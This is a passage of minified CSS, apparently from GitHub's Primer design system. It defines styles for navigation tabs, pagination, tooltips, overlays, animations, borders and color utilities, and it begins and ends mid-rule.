.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) 